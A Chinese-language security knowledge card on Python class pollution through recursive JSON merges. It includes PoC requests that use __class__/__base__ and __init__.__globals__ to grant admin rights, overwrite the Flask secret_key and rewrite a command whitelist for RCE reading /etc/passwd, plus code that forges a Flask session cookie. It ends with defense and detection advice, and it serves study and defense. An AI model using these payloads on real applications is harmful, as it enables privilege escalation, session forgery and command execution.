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Python 递归合并类污染:__class__.__base__ 改类属性与 __init__.__globals__ 篡改全局(提权/SECRET_KEY/RCE)

web/python · verified

一句话结论

当 Python Web 应用用递归合并函数(hasattr + getattr + setattr)把用户可控 JSON 写入对象、且不阻止双下划线属性时,攻击者可以从任意实例出发,经 __class__/__base__ 改写类属性实现全局提权,或经 __class__.__init__.__globals__ 进入模块全局命名空间,覆盖 Flask secret_key 伪造管理员会话,或篡改命令白名单字典,最终在另一个业务接口触发任意命令执行。

原理

  • Python 对象模型:实例访问属性时按“实例 __dict__ → 类 __dict__ → MRO 父类”查找。类属性被修改后,所有没有同名实例属性的现有实例和未来实例都会读到新值;实例属性会遮蔽类属性。
  • 递归合并失控:典型脆弱写法对每个 key 判断 hasattr(dst, key),为真且 value 是 dict 就 getattr(dst, key) 递归深入,否则 setattr(dst, key, value)。由于 Python 对象天然拥有 __class__、__base__、__init__、__globals__ 等属性,hasattr 对 dunder key 返回 True,递归便沿继承链和函数对象深入:
  • instance.__class__ 得到类对象;class.__base__ 得到父类;在父类上 setattr 即污染整个继承体系共享的类属性。
  • class.__init__ 得到函数对象;函数对象的 __globals__ 是其定义模块的全局命名空间字典。合并函数在 dict 分支与对象属性分支之间无缝切换,进入 __globals__ 后即可写入任意模块级变量。
  • 为什么能提权:is_admin 若只定义为类属性(BaseUser.is_admin = False),实例没有同名属性;把 BaseUser.is_admin 改为 True 后,所有用户实例(包括从未发请求的 alice 和新注册的 bob)都变为管理员。
  • 为什么能伪造会话:Flask 的 session 是不可篡改的签名 Cookie,HMAC 密钥来自 app.secret_key。__globals__['app'] 暴露 Flask 应用对象,setattr(app, 'secret_key', 已知值) 后,攻击者可用 Flask 自身的 SecureCookieSessionInterface 按已知密钥签发任意 session(如 {"username":"superadmin","is_admin":true}),服务端验签通过。
  • 为什么能 RCE:命令执行点本身可以使用严格白名单(如 ALLOWED_COMMANDS = {"whoami": "whoami", ...},os.popen(ALLOWED_COMMANDS.get(cmd)))。但该字典是模块级可变对象;通过 __globals__ 把 whoami 映射改成 id、新增 rce 映射到任意命令后,再请求原本无害的 /system/info?cmd=... 即可执行任意命令。注入点(资料更新)与执行点(系统信息接口)分离,传统命令注入特征扫描难以发现。

触发条件

  • 应用存在把用户可控嵌套 JSON 递归合并进对象的入口,合并逻辑使用 hasattr/getattr/setattr(或 __dict__ 递归、字典与对象混合递归),且未阻止 __ 开头/结尾的 key。
  • JSON 能表达嵌套 dict,从而驱动递归;value 可以是布尔、数字、字符串或 dict。
  • 目标对象是普通 Python 实例或类对象;Python 类与函数对象默认可写(未使用 __slots__、不可变内置类型等限制)。
  • 提权链需要敏感的类属性(如 is_admin)未在 __init__ 中写成实例属性。
  • SECRET_KEY 链需要 Flask 应用对象位于 __init__ 所在模块的全局命名空间,且 app.secret_key 可被赋值;目标使用 Flask 默认的签名 Cookie session。
  • RCE 链需要另一个 sink 读取模块级可变配置/白名单来决定危险操作(命令、路径、模板、导入等)。

利用步骤

  1. 找到递归合并入口,确认合并函数的分支逻辑与目标对象类型;用正常字段确认写入生效。
  2. 探测对象结构:提交 {"__class__": {}} 观察是否递归进入类对象;确认实例所属类及父类。
  3. 按目标选择利用链: - 类属性提权:构造 __class__.__base__.<attr> 写入敏感类属性(如 is_admin: true),验证其他用户/新注册用户是否继承该值。 - 全局变量劫持:构造 __class__.__init__.__globals__.<global>,先读取/探测全局变量名(如 app、ALLOWED_COMMANDS、os、sys),再覆盖目标值。 - Flask 会话伪造:覆盖 app.secret_key 后,用已知密钥和 Flask 的 SecureCookieSessionInterface 签发管理员 session,携带 Cookie 访问管理接口。 - 白名单篡改 RCE:覆盖命令白名单字典的映射或新增条目,再请求读取该白名单的执行接口。
  4. 验证影响:检查其他用户权限、/admin 响应、命令输出等;确认修改是进程级、跨请求持久的。
  5. 可进一步测试 os.environ(PATH 劫持)、sys.path(导入劫持)、WAF 黑名单、模板环境等全局对象,扩大影响。

PoC

类属性提权:

POST /profile/update HTTP/1.1
Content-Type: application/json

{"username":"attacker","update":{"__class__":{"__base__":{"is_admin":true}}}}

遍历路径:attacker 实例 → __class__(UserProfile 类)→ __base__(BaseUser 类)→ setattr(BaseUser, "is_admin", true)。

覆盖 Flask secret_key:

POST /profile/update HTTP/1.1
Content-Type: application/json

{"username":"attacker","update":{"__class__":{"__init__":{"__globals__":{"app":{"secret_key":"attacker_controlled_key_2025"}}}}}}

伪造 session:

from flask import Flask
from flask.sessions import SecureCookieSessionInterface

app = Flask(__name__)
app.secret_key = "attacker_controlled_key_2025"
serializer = SecureCookieSessionInterface().get_signing_serializer(app)
cookie = serializer.dumps({"username": "superadmin", "is_admin": True})
# 携带 session=<cookie> 访问 /admin

篡改命令白名单实现 RCE:

POST /profile/update HTTP/1.1
Content-Type: application/json

{"username":"attacker","update":{"__class__":{"__init__":{"__globals__":{"ALLOWED_COMMANDS":{"whoami":"id","rce":"cat /etc/passwd | head -5"}}}}}}

随后请求原本只允许白名单命令的接口:

GET /system/info?cmd=rce HTTP/1.1

响应返回 /etc/passwd 内容,证明任意命令执行。

变体与关联

  • 变体(合并实现):hasattr+setattr 递归;直接操作 dst.__dict__;字典与对象混合递归。只要允许 dunder key 或任意属性名,均可到达类对象/模块全局。
  • 变体(起点):__class__、__base__、__bases__、__mro__、__subclasses__()、__init__.__globals__、函数对象 __globals__;拿到 __globals__ 后可改 os.environ、sys.path、WAF 黑名单、Jinja 环境等。
  • 变体(影响):类属性提权/数值篡改;Flask secret_key 覆盖后伪造/解密 session、绕过 CSRF;全局白名单或配置篡改后由独立 sink 触发 RCE。
  • 关联:[[web-python-pydash-set-attribute-path-pollution]](同类 Python 属性污染,但入口是 pydash.set_ 点分路径;本卡是递归合并用户 JSON,sink 与 payload 形态不同)。
  • 关联:[[web-python-ssti-jinja2-flask-globals-rce]](同样经 __globals__ 触达 Flask 全局,但由模板注入驱动)。
  • 关联:[[web-nodejs-prototype-pollution-merge-json-parse]](JavaScript 原型链污染的对应模式:递归合并 + 未过滤原型属性)。
  • 边界:JSON 无法表示模块对象,通常只能写可 JSON 序列化的值;不可变类型/__slots__ 对象可能拒绝 setattr;实例已有同名属性时类属性污染不影响该实例;不同进程/worker 之间内存不共享,污染只作用于当前进程。

检测与防御

  • 根本修复:不要用通用递归合并处理用户输入。改为显式字段白名单映射(只允许业务字段),或使用 Pydantic 等模型校验并丢弃未声明字段。
  • 若必须递归:拒绝所有 __ 开头/结尾的 key,并拒绝非预期类型;黑名单只是兜底,仍可能遗漏单下划线私有属性或其它语言特性。
  • 隔离敏感全局:不要依赖模块级可变字典做安全决策(命令白名单、权限开关);使用不可变配置、类/模块常量或每次从受保护存储读取。
  • Flask:secret_key 从环境/密钥管理服务加载,运行期校验其未被修改;发现泄露或可写路径时立即轮换;session 只存不可伪造的服务端状态或使用服务端 session。
  • 最小权限:Web 进程以低权限用户运行,限制其可写目录与可执行文件搜索路径;对危险 sink(os.popen/subprocess)做二次白名单与参数校验。
  • 检测:请求体中出现 __class__、__base__、__bases__、__mro__、__subclasses__、__init__、__globals__、__dict__ 等 key;合并入口收到含点号/双下划线的字段名;运行期 app.secret_key、全局字典、os.environ、sys.path 被异常修改;同一进程内权限状态突然变化;/admin 出现异常会话;命令执行接口返回与白名单预期不符的输出(如 uid=、root:)。